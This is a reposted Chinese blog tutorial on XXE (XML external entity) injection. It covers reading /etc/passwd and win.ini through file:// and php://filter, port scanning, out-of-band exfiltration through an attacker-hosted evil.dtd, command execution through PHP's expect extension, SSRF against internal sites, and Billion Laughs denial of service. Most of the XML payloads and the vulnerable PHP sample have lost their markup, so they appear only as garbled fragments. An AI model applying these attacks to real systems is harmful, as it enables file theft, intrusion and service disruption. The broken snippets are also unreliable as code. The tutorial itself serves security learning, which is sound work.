博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
4.XXE (XML External Entity Injection)
阅读量:4520 次
发布时间:2019-06-08

本文共 2182 字,大约阅读时间需要 7 分钟。

XXE (XML External Entity Injection)

0x01 什么是XXE

XML外部实体注入

若是PHP,libxml_disable_entity_loader设置为TRUE可禁用外部实体注入

0x02 XXE利用

简单文件读取

基于file协议的XXE攻击

XMLInject.php

loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure$creds = simplexml_import_dom($dom);$user = $creds->user;$pass = $creds->pass;echo "You have logged in as user $user";`?

file_get_content('php://input')接收post数据,xml数据

XML.txt

]>
&xxe;
mypass
`

导致可以读出etc/passwd文件

在使用file://协议时,有以下几种格式:

file://host/path * Linux    file:///etc/passwd* Unix    file://localhost/etc/fstab    file:///localhost/etc/fstab* Windows    file:///c:/windows/win.ini    file://localhost/c:/windows/win.ini*(下面这两种在某些浏览器里是支持的)    file:///c|windows/win.ini    file://localhost/c|windows/win.ini

XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。

]>
&content;

基于netdoc的XXE攻击

XML文档是用Java解析的话,可利用netdoc

]>&file;

端口扫描

加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public

私有类型DTD加载:

公共类型DTD加载:

在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。

]>
&portscan;

因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。

利用DTD进行数据回显

有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。

%dtd; %send;]>

evil.dtd

"> %payload;

在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容

远程命令执行

需要 PHP开启了PECL上的Expect扩展

]>
&content;

攻击内网网站

]>
&exp;

利用外部实体构造payload向内网其他机器发出请求

DDoS

最典型的案例Billion Laughs 攻击

]>&a4;

DTD:

普通实体:DTD中定义,XML中使用,使用格式: &名;  
参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。  
如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。

0x03 XXE漏洞挖掘

提交POST请求XML文件

提交一个POST请求,请求头加上Content-type:application/xml

同时添加测试代码

cat

通过OOB(Out-of-band)方法远程访问文件测试

  1. 自建一个网站开启80端口
  2. 在测试网站提交payload,如下
    ]>
    &dtgmlf6ent;
    3.查看网站返回内容
    4.查看自建服务器访问日志,是否有DTD文件等请求

0x04 XXE自动化工具

XXEinjector

0x05 参考链接

            

         

             

 

 

转载于:https://www.cnblogs.com/bmjoker/p/9452376.html

你可能感兴趣的文章
java基础篇---网络编程(UDP程序设计)
查看>>
Kafka Producer相关代码分析【转】
查看>>
LeetCode 121. Best Time to Buy and Sell Stock
查看>>
麻省理工学院公开课-第四讲:快速排序 及 随机化 算法
查看>>
pycharm 的包路径设置export PYTHONPATH=$PYTHONPATH
查看>>
SQL语句创建函数
查看>>
解决mysql无法显示中文/MySQL中文乱码问号等问题
查看>>
CentOS 7.2 配置mysql5.7
查看>>
python输出转义字符
查看>>
java基础43 IO流技术(输入字节流/缓冲输入字节流)
查看>>
计算一个整数二进制中1的个数
查看>>
netdom join 错误:指定的域不存在,或无法联系。
查看>>
Android中Dialog的使用
查看>>
Android Activity接收Service发送的广播
查看>>
[Leetcode] Spiral Matrix | 把一个2D matrix用螺旋方式打印
查看>>
加速和监控国际网络
查看>>
【Flex】读取本地XML,然后XML数据转成JSON数据
查看>>
字符串循环右移-c语言
查看>>
解决从pl/sql查看oracle的number(19)类型数据为科学计数法的有关问题
查看>>
古训《增广贤文》
查看>>